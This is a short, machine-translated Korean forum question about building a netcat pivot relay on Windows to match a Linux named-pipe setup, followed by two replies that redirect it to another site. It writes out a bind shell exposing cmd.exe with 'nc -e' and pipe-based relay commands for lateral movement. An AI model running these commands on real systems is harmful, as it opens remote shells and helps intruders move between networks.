Windows에서 netcat을 사용하여 피벗 릴레이를 설정하고 Linux에서 파이프를 사용하여 쉽게 시나리오를 복제하려고합니다.
머신 A가 머신 B로 라우팅 할 수 있고 머신 B가 머신 C로 라우팅 할 수 있다고 가정합니다. 머신 A가 머신 C로 라우팅해야하는 경우, 명령 리디렉터 및 spl 파일 유형을 사용하여 데이터를 앞뒤로 피벗 할 수있는 시스템 B에서 릴레이를 설정할 수 있습니다 파이프.
취하다:
- 기계 C에는
nc -nlvp 3306 -e cmd.exe
- 기계 A에는
nc -nlvp 80
B 머신이 우리가 할 수있는 리눅스 였다면
mkfifo pipe
nc -nv 127.0.0.1 80 0<pipe | nc -nv 127.0.0.1 3306 1>pipe
우리가한다면 기계 B에서
nc -nv 127.0.0.1 80 0<&4 | nc -nv 127.0.0.1 3306 1>&4
당 이 지역 , 나는 리눅스로 할 수있는 것을 성취 할 수 있어야하지만 불행히도 작동하지 않는다.
2
그것은 네트워킹 / OS 문제입니다. 보안상의 문제가 아닙니다. 수퍼 유저에게 물어 보는 것이 좋습니다.
—
Biglig
정확하게 작동하지 않는 것은 무엇입니까? 나는 질질 끌기 일지 모르지만 나는 C가 B와 A로 다시 돌아갈 수 있다고 생각하니? 패킷이 멈추는 곳을보기 위해 B에서 tcpdump 나 wireshark를 실행 해 보았습니까?
@ Auditor - 이것을 수퍼 유저에게 이전 할 것입니다 - 당신이 할 수있는 것보다 더 잘 도와 줄 수 있으므로 새로운 링크를 따라 가면 쉽게 계정을 설정할 수 있습니다.
—
Rory Alsop